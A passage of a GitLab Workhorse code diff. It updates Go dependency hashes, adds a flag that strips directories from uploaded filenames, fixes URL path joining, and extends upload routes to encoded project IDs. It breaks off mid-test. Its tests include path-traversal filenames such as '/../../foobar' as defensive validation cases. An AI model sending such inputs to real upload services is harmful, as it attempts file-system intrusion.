-golang.org/x/sys v0.0.0-20201015000850-e3ed0017c211 h1:9UQO31fZ+0aKQOFldThf7BKPMJTiBfWycGh/u3UoO88=
golang.org/x/sys v0.0.0-20201015000850-e3ed0017c211/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20201202213521-69691e467435 h1:25AvDqqB9PrNqj1FLf2/70I4W0L19qqoaFq3gjNwbKk=
golang.org/x/sys v0.0.0-20201202213521-69691e467435/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210110051926-789bb1bd4061 h1:DQmQoKxQWtyybCtX/3dIuDBcAhFszqq8YiNeS6sNu1c=
-golang.org/x/sys v0.0.0-20210110051926-789bb1bd4061/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4 h1:myAQVi0cGEoqQVR5POX+8RR2mrocKqNN1hmeMqhX27k=
+golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
-golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
-golang.org/x/text v0.3.4 h1:0YWbFKbhXG/wIiuHDSKpS0Iy7FSA+u45VtBMfQcFTTc=
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.5 h1:i6eZZ+zk0SOf0xgBpEpPD18qWcJda6q1sxt3S0kzyUQ=
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -981,11 +960,11 @@ golang.org/x/tools v0.0.0-20200918232735-d647fc253266/go.mod h1:z6u4i615ZeAfBE4X
golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20201202200335-bef1c476418a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
-golang.org/x/tools v0.0.0-20201203202102-a1a1cbeaa516 h1:E8xavSjXY8LFvcMSu/8Fjztt+SerwKnuAUOdS+aCXUM=
golang.org/x/tools v0.0.0-20201203202102-a1a1cbeaa516/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY=
+golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -1020,7 +999,6 @@ google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/appengine v1.6.2/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
-google.golang.org/appengine v1.6.6 h1:lMO5rYAqUxkmaj76jAkRUvt5JZgFymx/+Q5Mzfivuhc=
google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
@@ -1063,7 +1041,6 @@ google.golang.org/genproto v0.0.0-20200914193844-75d14daec038/go.mod h1:FWY/as6D
google.golang.org/genproto v0.0.0-20200921151605-7abf4a1a14d5/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
-google.golang.org/genproto v0.0.0-20201203001206-6486ece9c497 h1:jDYzwXmX9tLnuG4sL85HPmE1ruErXOopALp2i/0AHnI=
google.golang.org/genproto v0.0.0-20201203001206-6486ece9c497/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210111234610-22ae2b108f89 h1:R2owLnwrU3BdTJ5R9cnHDNsnEmBQ7n5lZjKShnbISe4=
google.golang.org/genproto v0.0.0-20210111234610-22ae2b108f89/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
@@ -1082,7 +1059,6 @@ google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
-google.golang.org/grpc v1.29.1 h1:EC2SB8S04d2r73uptxphDSUG+kTKVgjRPF+N3xpxRB4=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
@@ -1102,7 +1078,6 @@ google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzi
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
-google.golang.org/protobuf v1.24.0 h1:UhZDfRO8JRQru4/+LlLE0BRKGF8L+PICnvYZmx/fEGA=
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
@@ -1111,7 +1086,6 @@ gopkg.in/DataDog/dd-trace-go.v1 v1.7.0/go.mod h1:DVp8HmDh8PuTu2Z0fVVlBsyWaC++fzw
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
@@ -1146,8 +1120,8 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
-honnef.co/go/tools v0.0.1-2020.1.5 h1:nI5egYTGJakVyOryqLs1cQO5dO0ksin5XXs2pspk75k=
-honnef.co/go/tools v0.0.1-2020.1.5/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+honnef.co/go/tools v0.1.3 h1:qTakTkI6ni6LFD5sBwwsdSO+AQqbSIxOauHTTQKZ/7o=
+honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las=
nhooyr.io/websocket v1.8.6/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
diff --git a/workhorse/internal/api/api.go b/workhorse/internal/api/api.go
index a420288a95a..445ca3a94cf 100644
--- a/workhorse/internal/api/api.go
+++ b/workhorse/internal/api/api.go
@@ -149,9 +149,11 @@ type Response struct {
ProcessLsifReferences bool
// The maximum accepted size in bytes of the upload
MaximumSize int64
+ // Feature flag used to determine whether to strip the multipart filename of any directories
+ FeatureFlagExtractBase bool
}
-// singleJoiningSlash is taken from reverseproxy.go:NewSingleHostReverseProxy
+// singleJoiningSlash is taken from reverseproxy.go:singleJoiningSlash
func singleJoiningSlash(a, b string) string {
aslash := strings.HasSuffix(a, "/")
bslash := strings.HasPrefix(b, "/")
@@ -164,14 +166,36 @@ func singleJoiningSlash(a, b string) string {
return a + b
}
+// joinURLPath is taken from reverseproxy.go:joinURLPath
+func joinURLPath(a *url.URL, b string) (path string, rawpath string) {
+ if a.RawPath == "" && b == "" {
+ return singleJoiningSlash(a.Path, b), ""
+ }
+
+ // Same as singleJoiningSlash, but uses EscapedPath to determine
+ // whether a slash should be added
+ apath := a.EscapedPath()
+ bpath := b
+
+ aslash := strings.HasSuffix(apath, "/")
+ bslash := strings.HasPrefix(bpath, "/")
+
+ switch {
+ case aslash && bslash:
+ return a.Path + bpath[1:], apath + bpath[1:]
+ case !aslash && !bslash:
+ return a.Path + "/" + bpath, apath + "/" + bpath
+ }
+ return a.Path + bpath, apath + bpath
+}
+
// rebaseUrl is taken from reverseproxy.go:NewSingleHostReverseProxy
func rebaseUrl(url *url.URL, onto *url.URL, suffix string) *url.URL {
newUrl := *url
newUrl.Scheme = onto.Scheme
newUrl.Host = onto.Host
- if suffix != "" {
- newUrl.Path = singleJoiningSlash(url.Path, suffix)
- }
+ newUrl.Path, newUrl.RawPath = joinURLPath(url, suffix)
+
if onto.RawQuery == "" || newUrl.RawQuery == "" {
newUrl.RawQuery = onto.RawQuery + newUrl.RawQuery
} else {
diff --git a/workhorse/internal/filestore/save_file_opts.go b/workhorse/internal/filestore/save_file_opts.go
index d0b2c6ec809..f42e21b5f2e 100644
--- a/workhorse/internal/filestore/save_file_opts.go
+++ b/workhorse/internal/filestore/save_file_opts.go
@@ -63,6 +63,8 @@ type SaveFileOpts struct {
PresignedCompleteMultipart string
// PresignedAbortMultipart is a presigned URL for AbortMultipartUpload
PresignedAbortMultipart string
+ // FeatureFlagExtractBase uses the base of the filename and strips directories
+ FeatureFlagExtractBase bool
}
// UseWorkhorseClientEnabled checks if the options require direct access to object storage
@@ -88,16 +90,17 @@ func GetOpts(apiResponse *api.Response) (*SaveFileOpts, error) {
}
opts := SaveFileOpts{
- LocalTempPath: apiResponse.TempPath,
- RemoteID: apiResponse.RemoteObject.ID,
- RemoteURL: apiResponse.RemoteObject.GetURL,
- PresignedPut: apiResponse.RemoteObject.StoreURL,
- PresignedDelete: apiResponse.RemoteObject.DeleteURL,
- PutHeaders: apiResponse.RemoteObject.PutHeaders,
- UseWorkhorseClient: apiResponse.RemoteObject.UseWorkhorseClient,
- RemoteTempObjectID: apiResponse.RemoteObject.RemoteTempObjectID,
- Deadline: time.Now().Add(timeout),
- MaximumSize: apiResponse.MaximumSize,
+ FeatureFlagExtractBase: apiResponse.FeatureFlagExtractBase,
+ LocalTempPath: apiResponse.TempPath,
+ RemoteID: apiResponse.RemoteObject.ID,
+ RemoteURL: apiResponse.RemoteObject.GetURL,
+ PresignedPut: apiResponse.RemoteObject.StoreURL,
+ PresignedDelete: apiResponse.RemoteObject.DeleteURL,
+ PutHeaders: apiResponse.RemoteObject.PutHeaders,
+ UseWorkhorseClient: apiResponse.RemoteObject.UseWorkhorseClient,
+ RemoteTempObjectID: apiResponse.RemoteObject.RemoteTempObjectID,
+ Deadline: time.Now().Add(timeout),
+ MaximumSize: apiResponse.MaximumSize,
}
if opts.LocalTempPath != "" && opts.RemoteID != "" {
diff --git a/workhorse/internal/filestore/save_file_opts_test.go b/workhorse/internal/filestore/save_file_opts_test.go
index facfb1cdc85..aa7018525ab 100644
--- a/workhorse/internal/filestore/save_file_opts_test.go
+++ b/workhorse/internal/filestore/save_file_opts_test.go
@@ -57,13 +57,18 @@ func TestSaveFileOptsLocalAndRemote(t *testing.T) {
func TestGetOpts(t *testing.T) {
tests := []struct {
- name string
- multipart *api.MultipartUploadParams
- customPutHeaders bool
- putHeaders map[string]string
+ name string
+ multipart *api.MultipartUploadParams
+ customPutHeaders bool
+ putHeaders map[string]string
+ FeatureFlagExtractBase bool
}{
{
name: "Single upload",
+ },
+ {
+ name: "Single upload w/ FeatureFlagExtractBase enabled",
+ FeatureFlagExtractBase: true,
}, {
name: "Multipart upload",
multipart: &api.MultipartUploadParams{
@@ -93,6 +98,7 @@ func TestGetOpts(t *testing.T) {
for _, test := range tests {
t.Run(test.name, func(t *testing.T) {
apiResponse := &api.Response{
+ FeatureFlagExtractBase: test.FeatureFlagExtractBase,
RemoteObject: api.RemoteObject{
Timeout: 10,
ID: "id",
@@ -108,6 +114,7 @@ func TestGetOpts(t *testing.T) {
opts, err := filestore.GetOpts(apiResponse)
require.NoError(t, err)
+ require.Equal(t, apiResponse.FeatureFlagExtractBase, opts.FeatureFlagExtractBase)
require.Equal(t, apiResponse.TempPath, opts.LocalTempPath)
require.WithinDuration(t, deadline, opts.Deadline, time.Second)
require.Equal(t, apiResponse.RemoteObject.ID, opts.RemoteID)
diff --git a/workhorse/internal/upload/exif/exif.go b/workhorse/internal/upload/exif/exif.go
index 2f8218c3bc3..db3c45431c0 100644
--- a/workhorse/internal/upload/exif/exif.go
+++ b/workhorse/internal/upload/exif/exif.go
@@ -6,6 +6,7 @@ import (
"errors"
"fmt"
"io"
+ "os"
"os/exec"
"regexp"
@@ -109,6 +110,10 @@ func (c *cleaner) startProcessing(stdin io.Reader) error {
}
func FileTypeFromSuffix(filename string) FileType {
+ if os.Getenv("SKIP_EXIFTOOL") == "1" {
+ return TypeUnknown
+ }
+
jpegMatch := regexp.MustCompile(`(?i)^[^\n]*\.(jpg|jpeg)$`)
if jpegMatch.MatchString(filename) {
return TypeJPEG
diff --git a/workhorse/internal/upload/rewrite.go b/workhorse/internal/upload/rewrite.go
index ba6bd0e501a..85063d65c1b 100644
--- a/workhorse/internal/upload/rewrite.go
+++ b/workhorse/internal/upload/rewrite.go
@@ -9,6 +9,7 @@ import (
"mime/multipart"
"net/http"
"os"
+ "path/filepath"
"strings"
"github.com/prometheus/client_golang/prometheus"
@@ -117,6 +118,10 @@ func (rew *rewriter) handleFilePart(ctx context.Context, name string, p *multipa
filename := p.FileName()
+ if opts.FeatureFlagExtractBase {
+ filename = filepath.Base(filename)
+ }
+
if strings.Contains(filename, "/") || filename == "." || filename == ".." {
return fmt.Errorf("illegal filename: %q", filename)
}
@@ -187,7 +192,10 @@ func handleExifUpload(ctx context.Context, r io.Reader, filename string, imageTy
return nil, err
}
- tmpfile.Seek(0, io.SeekStart)
+ if _, err := tmpfile.Seek(0, io.SeekStart); err != nil {
+ return nil, err
+ }
+
isValidType := false
switch imageType {
case exif.TypeJPEG:
@@ -196,7 +204,10 @@ func handleExifUpload(ctx context.Context, r io.Reader, filename string, imageTy
isValidType = isTIFF(tmpfile)
}
- tmpfile.Seek(0, io.SeekStart)
+ if _, err := tmpfile.Seek(0, io.SeekStart); err != nil {
+ return nil, err
+ }
+
if !isValidType {
log.WithContextFields(ctx, log.Fields{
"filename": filename,
diff --git a/workhorse/internal/upload/uploads_test.go b/workhorse/internal/upload/uploads_test.go
index 0885f31d5a4..d77d73b5f48 100644
--- a/workhorse/internal/upload/uploads_test.go
+++ b/workhorse/internal/upload/uploads_test.go
@@ -325,14 +325,20 @@ func TestInvalidFileNames(t *testing.T) {
defer os.RemoveAll(tempPath)
for _, testCase := range []struct {
- filename string
- code int
+ filename string
+ code int
+ FeatureFlagExtractBase bool
+ expectedPrefix string
}{
- {"foobar", 200}, // sanity check for test setup below
- {"foo/bar", 500},
- {"/../../foobar", 500},
- {".", 500},
- {"..", 500},
+ {"foobar", 200, false, "foobar"}, // sanity check for test setup below
+ {"foo/bar", 500, false, ""},
+ {"foo/bar", 200, true, "bar"},
+ {"foo/bar/baz", 200, true, "baz"},
+ {"/../../foobar", 500, false, ""},
+ {"/../../foobar", 200, true, "foobar"},
+ {".", 500, false, ""},
+ {"..", 500, false, ""},
+ {"./", 500, false, ""},
} {
buffer := &bytes.Buffer{}
@@ -350,10 +356,12 @@ func TestInvalidFileNames(t *testing.T) {
apiResponse := &api.Response{TempPath: tempPath}
preparer := &DefaultPreparer{}
opts, _, err := preparer.Prepare(apiResponse)
+ opts.FeatureFlagExtractBase = testCase.FeatureFlagExtractBase
require.NoError(t, err)
HandleFileUploads(response, httpRequest, nilHandler, apiResponse, &SavedFileTracker{Request: httpRequest}, opts)
require.Equal(t, testCase.code, response.Code)
+ require.Equal(t, testCase.expectedPrefix, opts.TempFilePrefix)
}
}
diff --git a/workhorse/internal/upstream/routes.go b/workhorse/internal/upstream/routes.go
index fb8a07a8031..d95646b91f7 100644
--- a/workhorse/internal/upstream/routes.go
+++ b/workhorse/internal/upstream/routes.go
@@ -57,6 +57,7 @@ const (
ciAPIPattern = `^/ci/api/`
gitProjectPattern = `^/.+\.git/`
projectPattern = `^/([^/]+/){1,}[^/]+/`
+ apiProjectPattern = apiPattern + `v4/projects/[^/]+/` // API: Projects can be encoded via group%2Fsubgroup%2Fproject
snippetUploadPattern = `^/uploads/personal_snippet`
userUploadPattern = `^/uploads/user`
importPattern = `^/import/`
@@ -253,32 +254,39 @@ func configureRoutes(u *upstream) {
u.route("", apiPattern+`v4/jobs/request\z`, ciAPILongPolling),
u.route("", ciAPIPattern+`v1/builds/register.json\z`, ciAPILongPolling),
+ // Not all API endpoints support encoded project IDs
+ // (e.g. `group%2Fproject`), but for the sake of consistency we
+ // use the apiProjectPattern regex throughout. API endpoints
+ // that do not support this will return 400 regardless of
+ // whether they are accelerated by Workhorse or not. See
+ // https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56731.
+
// Maven Artifact Repository
- u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/maven/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+ u.route("PUT", apiProjectPattern+`packages/maven/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
// Conan Artifact Repository
u.route("PUT", apiPattern+`v4/packages/conan/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
- u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/conan/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+ u.route("PUT", apiProjectPattern+`packages/conan/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
// Generic Packages Repository
- u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/generic/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+ u.route("PUT", apiProjectPattern+`packages/generic/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
// NuGet Artifact Repository
- u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/nuget/`, upload.Accelerate(api, signingProxy, preparers.packages)),
+ u.route("PUT", apiProjectPattern+`packages/nuget/`, upload.Accelerate(api, signingProxy, preparers.packages)),
// PyPI Artifact Repository
- u.route("POST", apiPattern+`v4/projects/[0-9]+/packages/pypi`, upload.Accelerate(api, signingProxy, preparers.packages)),
+ u.route("POST", apiProjectPattern+`packages/pypi`, upload.Accelerate(api, signingProxy, preparers.packages)),
// Debian Artifact Repository
- u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/debian/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+ u.route("PUT", apiProjectPattern+`packages/debian/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
// Gem Artifact Repository
- u.route("POST", apiPattern+`v4/projects/[0-9]+/packages/rubygems/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+ u.route("POST", apiProjectPattern+`packages/rubygems/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
// We are porting API to disk acceleration
// we need to declare each routes until we have fixed all the routes on the rails codebase.
// Overall status can be seen at https://gitlab.com/groups/gitlab-org/-/epics/1802#current-status
- u.route("POST", apiPattern+`v4/projects/[0-9]+/wikis/attachments\z`, uploadAccelerateProxy),
+ u.route("POST", apiProjectPattern+`wikis/attachments\z`, uploadAccelerateProxy),
u.route("POST", apiPattern+`graphql\z`, uploadAccelerateProxy),
u.route("POST", apiPattern+`v4/groups/import`, upload.Accelerate(api, signingProxy, preparers.uploads)),
u.route("POST", apiPattern+`v4/projects/import`, upload.Accelerate(api, signingProxy, preparers.uploads)),
@@ -289,11 +297,14 @@ func configureRoutes(u *upstream) {
u.route("POST", importPattern+`gitlab_group`, upload.Accelerate(api, signingProxy, preparers.uploads)),
// Metric image upload
- u.route("POST", apiPattern+`v4/projects/[0-9]+/issues/[0-9]+/metric_images\z`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+ u.route("POST", apiProjectPattern+`issues/[0-9]+/metric_images\z`, upload.Accelerate(api, signingProxy, preparers.uploads)),
// Requirements Import via UI upload acceleration
u.route("POST", projectPattern+`requirements_management/requirements/import_csv`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+ // Uploads via API
+ u.route("POST", apiProjectPattern+`uploads\z`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+
// Explicitly proxy API requests
u.route("", apiPattern, proxy),
u.route("", ciAPIPattern, proxy),
diff --git a/workhorse/upload_test.go b/workhorse/upload_test.go
index 6d118119dff..90712c0af72 100644
--- a/workhorse/upload_test.go
+++ b/workhorse/upload_test.go
@@ -41,7 +41,7 @@ func testArtifactsUpload(t *testing.T, uploadArtifacts uploadArtifactsFunction)
reqBody, contentType, err := multipartBodyWithFile()
require.NoError(t, err)
- ts := signedUploadTestServer(t, nil)
+ ts := signedUploadTestServer(t, nil, nil)
defer ts.Close()
ws := startWorkhorseServer(ts.URL)
@@ -66,7 +66,7 @@ func expectSignedRequest(t *testing.T, r *http.Request) {
require.NoError(t, err)
}
-func uploadTestServer(t *testing.T, extraTests func(r *http.Request)) *httptest.Server {
+func uploadTestServer(t *testing.T, authorizeTests func(r *http.Request), extraTests func(r *http.Request)) *httptest.Server {
return testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
if strings.HasSuffix(r.URL.Path, "/authorize") {
expectSignedRequest(t, r)
@@ -74,6 +74,10 @@ func uploadTestServer(t *testing.T, extraTests func(r *http.Request)) *httptest.
w.Header().Set("Content-Type", api.ResponseContentType)
_, err := fmt.Fprintf(w, `{"TempPath":"%s"}`, scratchDir)
require.NoError(t, err)
+
+ if authorizeTests != nil {
+ authorizeTests(r)
+ }
return
}
@@ -91,10 +95,10 @@ func uploadTestServer(t *testing.T, extraTests func(r *http.Request)) *httptest.
})
}
-func signedUploadTestServer(t *testing.T, extraTests func(r *http.Request)) *httptest.Server {
+func signedUploadTestServer(t *testing.T, authorizeTests func(r *http.Request), extraTests func(r *http.Request)) *httptest.Server {
t.Helper()
- return uploadTestServer(t, func(r *http.Request) {
+ return uploadTestServer(t, authorizeTests, func(r *http.Request) {
expectSignedRequest(t, r)
if extraTests != nil {
@@ -112,22 +116,43 @@ func TestAcceleratedUpload(t *testing.T) {
{"POST", `/example`, false},
{"POST", `/uploads/personal_snippet`, true},
{"POST", `/uploads/user`, true},
+ {"POST", `/api/v4/projects/1/uploads`, true},
+ {"POST", `/api/v4/projects/group%2Fproject/uploads`, true},
+ {"POST", `/api/v4/projects/group%2Fsubgroup%2Fproject/uploads`, true},
{"POST", `/api/v4/projects/1/wikis/attachments`, false},
+ {"POST", `/api/v4/projects/group%2Fproject/wikis/attachments`, false},
+ {"POST", `/api/v4/projects/group%2Fsubgroup%2Fproject/wikis/attachments`, false},
{"POST", `/api/graphql`, false},
{"PUT", "/api/v4/projects/9001/packages/nuget/v1/files", true},
+ {"PUT", "/api/v4/projects/group%2Fproject/packages/nuget/v1/files", true},
+ {"PUT", "/api/v4/projects/group%2Fsubgroup%2Fproject/packages/nuget/v1/files", true},
{"POST", `/api/v4/groups/import`, true},
+ {"POST", `/api/v4/groups/import/`, true},
{"POST", `/api/v4/projects/import`, true},
+ {"POST", `/api/v4/projects/import/`, true},
{"POST", `/import/gitlab_project`, true},
+ {"POST", `/import/gitlab_project/`, true},
{"POST", `/import/gitlab_group`, true},
+ {"POST", `/import/gitlab_group/`, true},
{"POST", `/api/v4/projects/9001/packages/pypi`, true},
+ {"POST", `/api/v4/projects/group%2Fproject/packages/pypi`, true},
+ {"POST", `/api/v4/projects/group%2Fsubgroup%2Fproject/packages/pypi`, true},
{"POST", `/api/v4/projects/9001/issues/30/metric_images`, true},
+ {"POST", `/api/v4/projects/group%2Fproject/issues/30/metric_images`, true},
+ {"POST", `/api/v4/projects/group%2Fsubgroup%2Fproject/issues/30/metric_images`, true},
{"POST", `/my/project/-/requirements_management/requirements/import_csv`, true},
+ {"POST", `/my/project/-/requirements_management/requirements/import_csv/`, true},
}
for _, tt := range tests {
t.Run(tt.resource, func(t *testing.T) {
ts := uploadTestServer(t,
func(r *http.Request) {
